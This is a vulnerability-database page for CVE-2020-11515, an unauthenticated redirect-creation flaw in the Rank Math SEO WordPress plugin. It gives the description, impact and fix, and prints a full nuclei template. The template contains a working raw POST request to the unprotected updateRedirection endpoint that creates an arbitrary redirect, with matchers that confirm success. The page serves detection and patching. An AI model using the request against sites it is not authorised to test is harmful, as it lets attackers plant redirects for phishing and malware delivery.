Browse / CVEs / CVE-2020-11515
CVE-2020-11515· rankmath / seo· CWE-601
Rank Math SEO <= 1.0.40.2 - Redirect Creation via Unprotected REST API Endpoint
The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to create new URIs (that redirect to an external web site) via the unsecured rankmath/v1/updateRedirection REST API endpoint. In other words, this is not an "Open Redirect" issue; instead, it allows the attacker to create a new URI with an arbitrary name (e.g., the /exampleredirect URI).
Impact
Unauthenticated attackers can create arbitrary redirect URIs on the WordPress site, which can be used for phishing attacks, SEO manipulation, or distributing malware by redirecting users to malicious external sites.
Fix
Update the Rank Math SEO plugin to version 1.0.41 or later.
How to confirm it
Send: POST /wp-json/rankmath/v1/updateRedirection
Positive when: contains_all(body, "update","Redirection updated successfully.") and contains(content_type, "application/json") and status_code == 200Run it with nuclei: nuclei -id CVE-2020-11515 -u <target>
The full check
id: CVE-2020-11515
info:
name: Rank Math SEO <= 1.0.40.2 - Redirect Creation via Unprotected REST API Endpoint
author: s4e-io
severity: medium
description: |
The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to create new URIs (that redirect to an external web site) via the unsecured rankmath/v1/updateRedirection REST API endpoint. In other words, this is not an "Open Redirect" issue; instead, it allows the attacker to create a new URI with an arbitrary name (e.g., the /exampleredirect URI).
impact: |
Unauthenticated attackers can create arbitrary redirect URIs on the WordPress site, which can be used for phishing attacks, SEO manipulation, or distributing malware by redirecting users to malicious external sites.
remediation: |
Update the Rank Math SEO plugin to version 1.0.41 or later.
reference:
- https://www.wordfence.com/blog/2020/03/critical-vulnerabilities-affecting-over-200000-sites-patched-in-rank-math-seo-plugin/
- https://rankmath.com/changelog/
- https://wordpress.org/plugins/seo-by-rank-math/#developers
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-11515
cwe-id: CWE-601
epss-score: 0.02501
epss-percentile: 0.8484
cpe: cpe:2.3:a:rankmath:seo:*:*:*:*:free:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: rankmath
product: seo
framework: wordpress
publicwww-query: "/wp-content/plugins/seo-by-rank-math/"
tags: cve,cve2020,wordpress,wordfence,redirect,seo-by-rank-math,wp-plugin,wp,vkev,vuln
http:
- raw:
- |
POST /wp-json/rankmath/v1/updateRedirection HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"redirectionUrl": "http://{{to_lower(rand_text_alpha(20))}}.{{to_lower(rand_text_alpha(5))}}",
"redirectionSources": "/{{to_lower(rand_text_alpha(10))}}",
"hasRedirect": "true"
}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "update","Redirection updated successfully.")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: andReferences
- https://www.wordfence.com/blog/2020/03/critical-vulnerabilities-affecting-over-200000-sites-patched-in-rank-math-seo-plugin/
- https://rankmath.com/changelog/
- https://wordpress.org/plugins/seo-by-rank-math/#developers
Use this check only on systems you are authorised to test. Where the data comes from